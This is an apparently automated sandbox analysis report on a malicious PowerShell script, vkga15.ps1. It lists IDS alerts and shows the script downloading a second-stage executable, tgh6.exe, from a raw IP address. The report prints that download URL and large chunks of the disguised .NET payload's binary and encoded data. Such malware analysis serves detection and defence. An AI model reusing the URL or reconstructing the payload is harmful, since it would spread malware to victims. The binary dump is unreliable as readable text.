vkga15.ps1| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6401 | Sept. 25, 2024, 4:54 p.m. | Sept. 25, 2024, 4:56 p.m. |
-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\vkga15.ps1
2548
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| No hosts contacted. | ||
| IP Address | Status | Action |
|---|---|---|
| 147.45.44.131 | Active | Moloch |
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 147.45.44.131:80 -> 192.168.56.101:49162 | 2400022 | ET DROP Spamhaus DROP Listed Traffic Inbound group 23 | Misc Attack |
| TCP 192.168.56.101:49162 -> 147.45.44.131:80 | 2016141 | ET INFO Executable Download from dotted-quad Host | Potentially Bad Traffic |
| TCP 192.168.56.101:49162 -> 147.45.44.131:80 | 2019714 | ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile | Potentially Bad Traffic |
| TCP 147.45.44.131:80 -> 192.168.56.101:49162 | 2018959 | ET POLICY PE EXE or DLL Windows file download HTTP | Potential Corporate Privacy Violation |
| TCP 147.45.44.131:80 -> 192.168.56.101:49162 | 2016538 | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download | Potentially Bad Traffic |
| TCP 147.45.44.131:80 -> 192.168.56.101:49162 | 2021076 | ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response | Potentially Bad Traffic |
Suricata TLS
No Suricata TLS
| suspicious_features | GET method with no useragent header, Connection to IP address | suspicious_request | GET http://147.45.44.131/files/tgh6.exe | ||||||
| request | GET http://147.45.44.131/files/tgh6.exe |
| Data received | HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 07:54:24 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 23 Sep 2024 13:31:10 GMT ETag: "9400-622c966e9419f" Accept-Ranges: bytes Content-Length: 37888 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program MZ ÿÿ ¸ @ º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ PE L Ëwnð à " 0 z¨ À @ ` (¨ O À ð à ¨ H .text `.rsrc ð À @ @.reloc à @ B \¨ H ¨% d 0 7 ( } } } | ( + | ( * ( * 0 / ( } } | ( + | ( * ( * 0 Ð r p( ~ ( ( o s s o ( r¾o p( o o! &o ( rào p( o o! &o" % %¢o# o$ ( r p p( o o% ( r$p p( o o& %¢%¢o' &* ( *0 d (( o) iY pa i+ +(a aÒ o* Y3 + X Xi2ÑiY( +* ( *0 / (, } } | ( + | (. * ( * 0 ( o/ (0 * ( * 0 L ( r>p p( o ( r¨p p( o ( rSq p( o *0 È { , s1 } ,@{ { o2 o3 (4 -<% } } | ( +Þn{ | þ % } (6 s7 Þ//{ , { o8 Ü þ} | (9 Þ þ} | (: * n 6| (; * 0 ´ { ,9~ ( o< (= -<% } } | ( +Þp{ | þ % } (? ~ ( Þ/ ,o8 Ü Þ þ} | (@ Þ þ} | (A * g t 6| (B * 0 { ,4( oC (D -<% } } | ( +ÞP{ | þ % } (F &Þ þ} | (G Þ þ} | (H * ]d 6| (I * BSJB v4.0.30319 l #~ T #Strings X q #US ø~ #GUID \ #Blob W ú3 - I r â? O? ã _ Å ¦ 6 = ÷ Õ X Ê "? & ú º? S? F ? A - ? åz q §Ñ ç é? ? ö i -Û É Ñ ºÑ 5 O |
| Data received | V 8 K E x I q e w 5 6 B W w f G 0 o u c R R a C G Y O P k s B e x 1 P G X t E U m k I a j t e B F A b F 0 s e N l N 1 X U N W W m k I a j t e B F A b F 0 s e N l N 1 W 0 N T Q S N n P l o O T W 4 I E 1 g M a h 8 O H m o b D k c O P i x H H 2 o P G 0 I s c h Z B D l s C P k s B e x 1 P G X t a L E c f a g 9 P A V 8 W F k E O W w I O U D 4 2 F U 8 J X w p H U U g T C F o Y f x Z v A X I V G W s V W h 9 C C H k b D k t T N j 1 L G V 8 K E 2 A M c x 9 d R T c h S n N B P j 1 L G V 8 K E 2 A M c x 9 d R T c h T X N E J X c k T T 5 a W l 4 f d w x P G X t a C V o M a h N N T U k I E 1 o I U x 9 D A m w D P k s B e x 1 P G X t a L V w E a h 9 j C H M V C F d N I 1 p i A n 8 e O 1 4 E I i 1 c B G o f N 0 s A c Q h X K X s W H 0 k M a h 8 Q R V k f D m 8 d d z R P A H s J U g c 2 L i c C T V k f D m 8 d d z R P A H s J U g c 2 J i c H V h N w W g 5 N P g p c B G g b D k t N b Q 5 P G X c Z W n w I f x 5 j C H M V C F c p e x Z L C n 8 O H w 4 / e x t K I H s X F V w U P k c O I X E b H m 8 d d 0 Z 8 C H 8 e N 0 s A c Q h X K X s W H 0 k M a h 8 Q R V k f D m 8 d d z R P A H s J U g c 2 L i c C T V k f D m 8 d d z R P A H s J U g c 2 J y c H V h N w W g 5 N P g p c B G g b D k t N b Q 5 P G X c Z W n s D c x t e O 3 c f D W E L T R 9 N G X c V F G o I c h 9 J D G o f W n s D c x t e O 3 c f D W E L T R 9 N G X c V F A 5 Q P j Z B D H o 7 C k d R S x R D D G 4 s E 0 s a U R x 9 C H 0 O E 0 E D W h 9 C C H k b D k t T N j 1 L G V 8 K E 2 A M c x 9 d R T c h S 3 N B P j 1 L G V 8 K E 2 A M c x 9 d R T c h S x 4 w N 0 E j Z z 5 a W g 4 d b B N Y D G o f W l 0 Z f w 5 H D j 4 5 C E s M a h 9 + H 3 E Z H 1 0 e W h 9 C C H k b D k t N X Q h L D G o f K l w C f R 9 d H j 5 H W m I C f x 5 v H X d G O V w I f w 5 L P W w V G U s e b T 5 L A X s d G 1 o I I F J p C G o 7 C k c j f x d L H j Z T I R 4 w M l p p C G o 7 C k c j f x d L H j Z T I R 9 c Q 1 M V Y B R a W g 5 N P R 9 A C W w f H U c C c H c k Y B R a W g 5 N P Q h L C n c V F A 4 s b h N i A n 8 e H 1 x g F F o O T T 4 h P k I B V x d e A m w O U g w G e w h A C H J J S A x B P i l L G V I b C V o o b A h B H z 5 H W l o f a x 8 H M B N w W g 5 N P g p c B G g b D k t N b Q 5 P G X c Z W k s V a h 9 c A z 4 z F F o 9 a g g O I X E b H m I E f A h P H 2 c 7 U n U g f w h d B X 8 W O 1 1 F S x R D D H A b H U s J S g N e C D A s O G w U T B 9 I P m o I U 3 N N b B 9 I T W 0 O C E c D e V p g D H M f U x V g F H c k T T 5 a W n U p c h Z n A G 4 V C F p F P B F L H 3 A f F h 1 f P F Y O L n Y b C H 0 I a l o T T V 0 S G 1 w + e w 4 A L H A J E w J N T R 9 a I X 8 J D m s f b B V c T S N a D l w Y e 1 Y O K G Y b G V o + b h 9 C A X c U H Q 5 Q P g 5 c G H t T J y N n P l o O T W 4 I E 1 g M a h 8 O H m o b D k c O P h 9 W G X s I F |
| Data received | A 4 k c A 5 + G W x a P U s Z T g h B D l 8 e H l w I b Q k G J H A O K l o f P h J + H 3 E Z H 1 0 e M l p 1 I H 8 I C U Y M c j t d R U s U F 0 8 D f x 1 L C U o D C k t D S D h s F E w f H H 0 Z b F N z T W w f H A 4 e a g h H A 3 l a N E 8 A e 1 M V Y B R 3 c A 5 N P l p e H 3 c M G 1 o I P g l a D G o T G Q 4 5 P j Z B D H o 7 C k d R S k Q G H m o I E 0 A K P h Z H D 2 w b C F c j f x d L Q T 4 J D l w E c B 0 O A H s O E k E J U B t D C D d 3 c A 5 N P l p V Y B R a W g 5 N P l o O T W w f D l s f c F o G O T d S F U w H e x l a R F M b C F 0 F f x Y A K n s O P k s B e x 1 P G X s 8 F V w r a x R N G X c V F H 4 C d x R a C G x S P U s Z T g h B D l 8 e H l w I b Q k G I X E b H m I E f A h P H 2 c 7 U l w I e F p C B H w I G 1 w U U B t D C D d W W l w I e F p D C G o S F U o j f x d L R D J a D l c d e x V I R U p T U x V g F F o O T T 4 H d y R N P l o O T n s U H l w I e R N B A x N w d y R N P l o O T m w f H U c C c F p 9 G W w P G V o e E 3 A O T T 5 a I X 0 Z b A 9 N G V I b A 0 E Y a l J i D G c V D 1 o m d x R K Q 0 0 f C 1 s I c A 5 H D H J W W n 4 M f R E O U D 5 L U 3 N g F F o O T T 4 K C E c b f w 5 L T W 0 O C F s O a l p + H 3 E Z H 1 0 e V x R I A h N w W g 5 N P g E j Z z 5 a W g 5 N P l o O H W s Y F k c O P j N A G U 4 O C A 4 9 b B V N C G 0 J M k 8 D e h Z L V h N w W g 5 N P l o O T T 4 K D 0 w B d x k O J H A O K l o f P i 5 G H 3 s b H m Y M c B 5 C C C V 3 c A 5 N P l o O T T 5 a C l s P c h N N T W s T F F p N T g h B D n s J C W c J J X c k T T 5 a W g 5 N P l p e G H w W E 0 1 N a x N A G T 4 u E l w I f x 5 n C S V 3 c A 5 N P l p T Y B R 3 c A 5 N P l p 1 P m o I D 0 0 Z U h t X A m s O U m I M Z x V b G V U T F E p D T R 9 f G H s U D k c M c l Y O P X 8 Z E Q 5 Q P k s H M B N w W g 5 N P g p c B G g b D k t N b Q 5 c G H 0 O W n 0 Z f w h a G G 4 z F E g C E 3 A O T T 5 a A S N n P l o O T T 5 a W g 4 d a x h C B H 1 a D 0 c D a l p 9 B G Q f Q S N n P l o O T T 5 a W g 4 d a x h C B H 1 a C V o f d x R J T U w f C U s f a B 9 K V h N w W g 5 N P l o O T T 4 K D 0 w B d x k O H m o I E 0 A K P j 5 L H n U O F V 5 W E 3 A O T T 5 a W g 5 N P g p b D 3 I T G Q 4 e a g h H A 3 l a L k c Z c h 8 V Y B R a W g 5 N P l o O T U U 3 G 1 w e d h t C L G 1 S L 0 A A f x R P C n s e L l c d e 1 R s F E g b F m 8 f b B t X Q T 4 p E 1 Q I X R V A H m p a R w 5 e K F N z T W 4 I E 1 g M a h 8 O D 2 c O H 3 U w P j d H H n 1 B d y R N P l o O T T 5 a W l 4 Y f B Z H D j 4 z F F o 9 a g g O P 3 s J H 1 w b e x 4 c V h N w W g 5 N P l o O T T 4 K D 0 w B d x k O J H A O K l o f P i l a C V c U C l s Z J X c k T T 5 a W g 5 N P l p e G H w W E 0 1 N V x R a P W o I W n 0 Z e j V b G W 4 P D h V g F F o O T T 5 a W g 5 N b g 9 M A X c Z W m c D a |
| Data received | i p a H z 4 p D k o o b A h B H y V 3 c A 5 N P l p T Y B R a W g 5 N P R 9 A C W w f H U c C c H c k Y B R a W g 5 N P Q h L C n c V F A 4 9 b B V N C G 0 J P 1 Y I f Q 9 a B H E U d y R N P l o O H W s Y F k c O P g l a D G o T G Q 4 b c R N K T V I V G 0 o 9 b B V N R W 0 O C E c D e V p I B H I f N E 8 A e 1 Y O I H s X F V w U T Q 5 c C H 8 X W k M I c x V c F E 0 O C E s M c 1 M j Z z 5 a W g 4 W E 3 A O T T 5 a W g 5 N P h h X G X s h J w 4 L d x Z L L 2 c O H 1 1 N I 1 p D C H M V C F c + a g h L D H N U L k E s b A h P F D Z T Q S N n P l o O T T 5 a W g 4 E c A 4 O C G Y f G V s Z d x V A P m o f C g 5 Q P k s e X i V 3 c C N n P l o O T T 5 a W g 4 L c Q g O R X c U D g 4 E P k c O X S V a E w 5 R P h 9 W C H 0 P D k c C c C l a C G 5 B W k d G N V M j Z z 5 a W g 5 N P l o O F h N w W g 5 N P l o O T T 5 a W g 5 N b Q 1 H G X 0 S W g Y I Z h 9 N G G o T F U A + a h 9 e R B N w W g 5 N P l o O T T 5 a W g 5 N Z X c k T T 5 a W g 5 N P l o O T T 5 a W g 5 N P h l P H n t a S x R g F F o O T T 5 a W g 5 N P l o O T T 5 a W g 4 O f w l L T S x A d y R N P l o O T T 5 a W g 5 N P l o O T T 5 a W g 5 N P h 9 W C H 0 P D k c C c C l a C G 5 a R w 5 f K 0 E j Z z 5 a W g 5 N P l o O T T 5 a W g 5 N P l o O T T 5 a G F w I f x E V Y B R a W g 5 N P l o O T T 5 a W g 5 N P l o O D n 8 J H w 5 e J H c k T T 5 a W g 5 N P l o O T T 5 a W g 5 N P l o O T T 4 Y F U E B P h x C D H l a R w 4 Z b A 9 L V h N w W g 5 N P l o O T T 5 a W g 5 N P l o O T T 5 a W g 4 E e F o G C 3 I b H Q d g F F o O T T 5 a W g 5 N P l o O T T 5 a W g 5 N P l o O F h N w W g 5 N P l o O T T 5 a W g 5 N P l o O T T 5 a W g 5 N P l o O C G Y f G V s Z d x V A P m o f C g 5 Q P k s O M z 5 N T x V g F F o O T T 5 a W g 5 N P l o O T T 5 a W g 5 N P l o O E B N w W g 5 N P l o O T T 5 a W g 5 N P l o O T T 5 a W g 4 P b B 9 P B i V 3 c A 5 N P l o O T T 5 a W g 5 N P l o O T T 4 Z G 1 0 I P k M U Y B R a W g 5 N P l o O T T 5 a W g 5 N P l o O T T 5 a W k s V e x l b G X c V F H 0 Z e w o O U D 5 P Q S N n P l o O T T 5 a W g 5 N P l o O T T 5 a W g 5 N P l p M H 3 s b E R V g F F o O T T 5 a W g 5 N P l o O T T 5 a W g 4 O f w l L T S 9 K Q C N n P l o O T T 5 a W g 5 N P l o O T T 5 a W g 5 N P l p L F X s Z D 1 o E c R R 9 G X s K W h N N L E E j Z z 5 a W g 5 N P l o O T T 5 a W g 5 N P l o O T T 5 a G F w I f x E V Y B R a W g 5 N P l o O T T 5 a W g 4 Q E 3 A O T T 5 a W g 5 N P g c j Z x N w W g 5 N P l o O T T 4 c F V x N N h N A G T 4 T W h N N L k E O B D 5 G W h t W P h M F R j d 3 c A 5 N P l o O T T 5 a A S N n P l o O T T 5 a W g 5 N P l o O B H A O W k w U a h 9 d P 3 s b H g 5 Q P k o V Y B R a W g 5 N P l o O T T 5 a W g 4 + a h t c G W s K M 0 A L c V p d G X 8 I D l s d V x R I A |
| Data received | j 5 H W k A I a V p 9 G X 8 I D l s d V x R I A j Z T Q S N n P l o O T T 5 a W g 5 N P l o O P W w V G U s e b T N A C 3 F a C l w C f R 9 d H l c U H E F N I 1 p A C G l a K l w C f R 9 d H l c U H E F F N 0 E j Z z 5 a W g 5 N P l o O T T 5 a W l 0 Z f w h a G G 4 z F E g C M C l H F 3 t a R w 5 F a x N A G T c 3 G 1 w e d h t C Q 0 0 T A E s i e F J a F G 4 f F U h F T Q 5 P H 2 o P C m c D e B U H R C V 3 c C N n P l o O T T 5 a W g 5 N P l o O G W w D d y R N P l o O T T 5 a W g 5 N P l p V Y B R a W g 5 N P l o O T T 5 a W g 5 N P l o O D 3 E V F g 4 d b B V N C G 0 J O V w I f w 5 L C T 5 H W m 0 f e x t a C E 4 I F U 0 I b Q k G C 3 c W H 2 A M c x 8 C T T x Y V g 4 k c A 5 + G W x U I E s f c V Y O J H A O K l o f M C B L H 3 F W W k g M c g l L Q T 5 O W l J N L 0 k a X y 9 N T R x V M l p n A 2 o q D l x D R B 9 c A j J a F F s B c l Y O H 3 s c W l 0 Z f w h a G G 4 z F E g C M l p c C H h a C l w C f R 9 d H l c U H E F E J X c k T T 5 a W g 5 N P l o O T T 5 a W g 5 N P h N I T T Z b C l w C f R 9 d H l 0 I H 0 8 Z e x 4 H Y B R a W g 5 N P l o O T T 5 a W g 5 N P l o O F h N w W g 5 N P l o O T T 5 a W g 5 N P l o O T T 5 a W g 4 Z d g h B G j 4 U H 1 l N W w J N C G 4 O E 0 E D N l M V Y B R a W g 5 N P l o O T T 5 a W g 5 N P l o O E B N w d y R N P l o O T T 5 a W g 5 N P l o O T T 5 a E 0 A Z P h x H A X s 7 H k o f e w l d T S N a O U E D a B 9 c G U o V M 0 A Z L U g G C 3 c W H 2 w U a h 9 d Q T 5 M S g d W E 3 A O T T 5 a W g 5 N P l o O T T 5 a W g 5 N d x R a T X c X G 0 k I X B t d C D 5 H W m 0 C c A x L H 2 o u F W c D a k k c R X g T F k s v Z w 5 L H j J a H E c B e z t K C W w f C V 1 N N V o b X z d B d y R g F F o O T T 5 a W g 5 N P l o O T T 5 a W g 4 E c A 5 1 M D 4 Z F U A Z e w J a T S N a F E s a P h N A G U V L T R c w J X c k T T 5 a W g 5 N P l o O T T 5 a W g 5 N P h l B A 2 o f A l o 2 L i c O U D 5 M T x t e J k E j Z x N w W g 5 N P l o O T T 5 a W g 5 N P l o O T X c c W g Y k c A 5 + G W x U K U c X e 1 o T U D 5 O U y N n P l o O T T 5 a W g 5 N P l o O T T 5 a W l V g F F o O T T 5 a W g 5 N P l o O T T 5 a W g 5 N P l o O B H h a U g 8 q e w 5 6 B W w f G 0 o u c R R a C G Y O U l 4 f c R l L H m 0 z F E g C M C 5 G H 3 s b H m Y M c B 5 C C D J a G U E D a h 9 W G T d T d y R N P l o O T T 5 a W g 5 N P l o O T T 5 a W g 5 N P g E j Z z 5 a W g 5 N P l o O T T 5 a W g 5 N P l o O T T 5 a W g 5 N P g 5 G H 3 E N W k A I a V p r F X 0 f C l o E c R Q G R C V 3 c A 5 N P l o O T T 5 a W g 5 N P l o O T T 5 a W g 5 N Y 3 c k T T 5 a W g 5 N P l o O T T 5 a W g 5 N P g c j Z z 5 a W g 5 N P l o O T T 5 a W g 5 N P l p L A W 0 f d y R N P l o O T T 5 a W g 5 N P l o O T T 5 a A S N n P l o O T T 5 a W g 5 N P l o O T T 5 a W |
| Data received | g 5 N P l p H C z 5 S W 2 k I a i 1 B G i h O L k Y f e x t K L n E U D k s V a l J e H 3 E Z H 1 0 e V x R I A j A u E l w I f x 5 m D H A e F k t B P h l B A 2 o f A l p E N 3 c k T T 5 a W g 5 N P l o O T T 5 a W g 5 N P l o O T T 4 B d y R N P l o O T T 5 a W g 5 N P l o O T T 5 a W g 5 N P l o O T T 4 O E l w C a V p A C G l a P 1 Y O e w p a B H E U U g d W E 3 A O T T 5 a W g 5 N P l o O T T 5 a W g 5 N P l o O T W N 3 c A 5 N P l o O T T 5 a W g 5 N P l o O T T 4 H d y R g F F o O T T 5 a W g 5 N P l o O T T 5 a W g 4 E c A 4 O C H w C W h N N f R V A G X s C D n V Z L y c V Y B R a W g 5 N P l o O T T 5 a W g 5 N P l o O B H A O W k w M b R 9 v C X o I H 1 0 e P k c O X S V 3 c C N n P l o O T T 5 a W g 5 N P l o O T T 5 a W k c L P l I P P 3 s b H m M I c x V c F D Y K C E E O e w l d J H A c F Q A 9 b B V N C G 0 J M k 8 D e h Z L Q T 4 f G F Z N N V o W Q T 4 I H 0 h N f B t d C F 8 e H l w I b Q k C T S p W W l w I e F p M F G o f C X w I f x 4 H R B N w W g 5 N P l o O T T 5 a W g 5 N P l o O T W V 3 c A 5 N P l o O T T 5 a W g 5 N P l o O T T 5 a W g 5 N a h J c A m l a F E s a P j 9 W D n s K D k c C c F I H V h N w W g 5 N P l o O T T 5 a W g 5 N P l o O T W N 3 c C N n P l o O T T 5 a W g 5 N P l o O T T 5 a W k c L P l J H A H 8 d H 2 w M b R 8 O U C N a G E 8 e e z t K C W w f C V 1 E E 3 A O T T 5 a W g 5 N P l o O T T 5 a W g 5 N Z X c k T T 5 a W g 5 N P l o O T T 5 a W g 5 N P l o O T T 4 T H A 5 F S x R D D G 4 s E 0 s a U R x 9 C H 0 O E 0 E D N g p c A n 0 f C V 0 k c B x B Q 0 4 I F U 0 I b Q l m D H A e F k t B P h h P H n s 7 H k o f e w l d R D 5 b R w 5 d N 3 c k T T 5 a W g 5 N P l o O T T 5 a W g 5 N P l o O T T 4 B d y R N P l o O T T 5 a W g 5 N P l o O T T 5 a W g 5 N P l o O T T 4 O E l w C a V p A C G l a P 1 Y O e w p a B H E U U g d W E 3 A O T T 5 a W g 5 N P l o O T T 5 a W g 5 N P l o O T W N 3 c A 5 N P l o O T T 5 a W g 5 N P l o O T T 4 H d y R g F F o O T T 5 a W g 5 N P l o O T T 5 a W g 4 E c A 4 O H n c A H 2 E L V x d P C n t a R w 4 u c R R Y C G w O L k E k c A 4 d X z Y c E 0 I I X A N a C G 1 W W k g E c h 9 v C X o I H 1 0 e P l E O V S 5 T Q S N n P l o O T T 5 a W g 5 N P l o O T T 5 a W k c D a l p d B G Q f N U g l e x t K C G w J W h N N X R V A G 3 s I D n o C V x R a X i x S H E c B e z h X G X s J V g 4 L d x Z L L H o e C E s e b V o F T S Z O U x V g F H c k T T 5 a W g 5 N P l o O T T 5 a W g 5 N P h N A G T 4 U H 1 k k c x t J C F w b C U t N I 1 p 4 B G w O D 0 8 B X x Z C A n 0 / A g Y d b B V N C G 0 J M 0 A L c V R + H 3 E Z H 1 0 e V h t A C X I f V g 4 E c x t J C F w b C U t B P g l H F 3 s 1 H G c A f x 1 L Q T 5 L S B x V J l Y O W y p T Q S N n P l o O T T 5 a W g 5 N P l o O T T 5 a W k c L P |
| Data received | cheap ! Copyright © Namecheap 2024 ) $228ADC38-C619-4FED-AED8-9DC6343E50C2 1.7.3.9 I .NETFramework,Version=v4.8 TFrameworkDisplayName.NET Framework 4.8" ConsoleApp66.Global+<Rdi>d__0 ConsoleApp66.Ecx+<Cl>d__0 $ ConsoleApp66.Program+<Main>d__0 P¨ j¨ \¨ _CorExeMain mscoree.dll ÿ% @ P 8 h ð À ` `4 V S _ V E R S I O N _ I N F O ½ïþ ? D V a r F i l e I n f o $ T r a n s l a t i o n °À S t r i n g F i l e I n f o 0 0 0 0 0 4 b 0 , C o m m e n t s N a m e c h e a p 4 C o m p a n y N a m e N a m e c h e a p < F i l e D e s c r i p t i o n N a m e c h e a p 0 F i l e V e r s i o n 1 . 7 . 3 . 9 < |
| Data received | I n t e r n a l N a m e N a m e c h e a p . e x e \ L e g a l C o p y r i g h t C o p y r i g h t © N a m e c h e a p 2 0 2 4 < L e g a l T r a d e m a r k s N a m e c h e a p D O r i g i n a l F i l e n a m e N a m e c h e a p . e x e 4 P r o d u c t N a m e N a m e c h e a p 4 P r o d u c t V e r s i o n 1 . 7 . 3 . 9 8 A s s e m b l y V e r s i o n 1 . 7 . 3 . 9 Ä ê <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3"> <requestedExecutionLevel level="asInvoker" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo> </assembly> |8 |
| Data received |
| Data sent | GET /files/tgh6.exe HTTP/1.1 Host: 147.45.44.131 Connection: Keep-Alive |
| host | 147.45.44.131 | |||